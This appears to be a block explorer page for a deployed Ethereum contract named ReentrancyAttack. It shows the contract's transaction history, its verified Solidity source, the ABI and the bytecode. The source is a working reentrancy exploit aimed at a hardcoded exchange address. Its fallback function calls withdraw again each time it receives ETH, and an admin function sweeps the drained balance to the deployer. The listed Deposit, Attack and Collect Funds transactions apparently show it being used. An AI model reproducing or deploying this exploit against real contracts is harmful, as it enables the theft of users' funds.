ETH Price: $2,162.10 (-6.73%)

Contract

0x89cfBE99f93c60593d190E2cD656227bf6444cd1
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Collect Funds204324982024-08-01 8:26:59594 days ago1722500819IN
0x89cfBE99...bf6444cd1
0 ETH0.000183335.9970737
Attack204324072024-08-01 8:08:35594 days ago1722499715IN
0x89cfBE99...bf6444cd1
0 ETH0.00028348.31307057
Deposit ETH204324052024-08-01 8:08:11594 days ago1722499691IN
0x89cfBE99...bf6444cd1
0.01 ETH0.00017057.25992731
Attack204323922024-08-01 8:05:35594 days ago1722499535IN
0x89cfBE99...bf6444cd1
0 ETH0.00014165.95088707
Deposit204323612024-08-01 7:59:23594 days ago1722499163IN
0x89cfBE99...bf6444cd1
0.01 ETH0.0008917718.47509624
Deposit204320912024-08-01 7:05:23595 days ago1722495923IN
0x89cfBE99...bf6444cd1
0.01 ETH0.000458435.55890657

Latest 3 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer204324982024-08-01 8:26:59594 days ago1722500819
0x89cfBE99...bf6444cd1
0.01 ETH
Deposit204323612024-08-01 7:59:23594 days ago1722499163
0x89cfBE99...bf6444cd1
0.01 ETH
Deposit204320912024-08-01 7:05:23595 days ago1722495923
0x89cfBE99...bf6444cd1
0.01 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ReentrancyAttack

Compiler Version
v0.4.16+commit.d7661dd9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

pragma solidity ^0.4.16;

interface Exchange {
    function deposit() external payable;
    function withdraw(address token, uint256 amount) external returns (bool success);
}

contract ReentrancyAttack {
    Exchange public exchange;
    address public admin;
    uint256 public count;

    // Old-style constructor using the contract name
    function ReentrancyAttack() public {
        exchange = Exchange(0x2a0c0DBEcC7E4D658f48E01e3fA353F44050c208);
        admin = msg.sender;
    }

    // Modifier to allow only the admin to execute certain functions
    modifier onlyAdmin() {
        require(msg.sender == admin);
        _;
    }

    // Function to deposit ETH into this contract
    function depositETH() external payable onlyAdmin {
        require(msg.value > 0);
    }

    // Function to deposit ETH into the Exchange contract (admin only)
    function deposit() external payable onlyAdmin {
        require(msg.value > 0);
        exchange.deposit.value(msg.value)(); 
    }

    // Function to initiate the reentrancy attack with adjustable amount (admin only)
    function attack(uint256 amount) external onlyAdmin {
        require(amount > 0 && amount <= address(this).balance);
        exchange.withdraw(0x0000000000000000000000000000000000000000, amount);
    }

    // Optimized fallback function to reenter withdrawal, no balance check
    function () external payable {
        count++; // Simple increment to track reentries
        exchange.withdraw(0x0000000000000000000000000000000000000000, address(this).balance);
    }

    // Function to collect all funds in the contract (admin only)
    function collectFunds() external onlyAdmin {
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0);
        admin.transfer(contractBalance);
    }
}

Contract Security Audit

Contract ABI

API
[{"constant":true,"inputs":[],"name":"count","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"collectFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"attack","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"exchange","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"depositETH","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

6060604052341561000f57600080fd5b5b732a0c0dbecc7e4d658f48e01e3fa353f44050c2086000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b610714806100b66000396000f30060606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306661abd146101975780635b980628146101c057806364dd891a146101d5578063d0e30db0146101f8578063d2f7265a14610202578063f6326fb314610257578063f851a44014610261575b5b6002600081548092919060010191905055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a360003073ffffffffffffffffffffffffffffffffffffffff16316000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561017857600080fd5b6102c65a03f1151561018957600080fd5b50505060405180519050505b005b34156101a257600080fd5b6101aa6102b6565b6040518082815260200191505060405180910390f35b34156101cb57600080fd5b6101d36102bc565b005b34156101e057600080fd5b6101f660048080359060200190919050506103aa565b005b610200610526565b005b341561020d57600080fd5b61021561062e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025f610653565b005b341561026c57600080fd5b6102746106c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60025481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561031a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905060008111151561034357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156103a557600080fd5b5b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040657600080fd5b60008111801561042d57503073ffffffffffffffffffffffffffffffffffffffff16318111155b151561043857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561050557600080fd5b6102c65a03f1151561051657600080fd5b50505060405180519050505b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058257600080fd5b60003411151561059157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b151561061557600080fd5b6125ee5a03f1151561062657600080fd5b505050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106af57600080fd5b6000341115156106be57600080fd5b5b5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c21590029

Deployed Bytecode

0x60606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306661abd146101975780635b980628146101c057806364dd891a146101d5578063d0e30db0146101f8578063d2f7265a14610202578063f6326fb314610257578063f851a44014610261575b5b6002600081548092919060010191905055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a360003073ffffffffffffffffffffffffffffffffffffffff16316000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561017857600080fd5b6102c65a03f1151561018957600080fd5b50505060405180519050505b005b34156101a257600080fd5b6101aa6102b6565b6040518082815260200191505060405180910390f35b34156101cb57600080fd5b6101d36102bc565b005b34156101e057600080fd5b6101f660048080359060200190919050506103aa565b005b610200610526565b005b341561020d57600080fd5b61021561062e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025f610653565b005b341561026c57600080fd5b6102746106c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60025481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561031a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905060008111151561034357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156103a557600080fd5b5b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040657600080fd5b60008111801561042d57503073ffffffffffffffffffffffffffffffffffffffff16318111155b151561043857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561050557600080fd5b6102c65a03f1151561051657600080fd5b50505060405180519050505b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058257600080fd5b60003411151561059157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b151561061557600080fd5b6125ee5a03f1151561062657600080fd5b505050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106af57600080fd5b6000341115156106be57600080fd5b5b5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c21590029

Deployed Bytecode Sourcemap

184:1681:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1408:189;1448:5;;:7;;;;;;;;;;;;;1505:8;;;;;;;;;;;:17;;;1523:42;1575:4;1567:21;;;1505:84;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1408:189;184:1681;275:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1672:190;;;;;;;;;;;;;;1120:204;;;;;;;;;;;;;;;;;;;;;;;;;;891:134;;;;;;217:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;721:90;;;;;;248:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;275;;;;:::o;1672:190::-;1726:23;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;1760:4;1752:21;;;1726:47;;1810:1;1792:15;:19;1784:28;;;;;;;;1823:5;;;;;;;;;;;:14;;:31;1838:15;1823:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;1672:190;;:::o;1120:204::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;1199:1;1190:6;:10;:45;;;;;1222:4;1214:21;;;1204:6;:31;;1190:45;1182:54;;;;;;;;1247:8;;;;;;;;;;;:17;;;1265:42;1309:6;1247:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;1120:204;;:::o;891:134::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;968:1;956:9;:13;948:22;;;;;;;;981:8;;;;;;;;;;;:16;;;1004:9;981:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;891:134;:::o;217:24::-;;;;;;;;;;;;;:::o;721:90::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;801:1;789:9;:13;781:22;;;;;;;;653:1;721:90;:::o;248:20::-;;;;;;;;;;;;;:::o

Swarm Source

bzzr://556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c2159

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.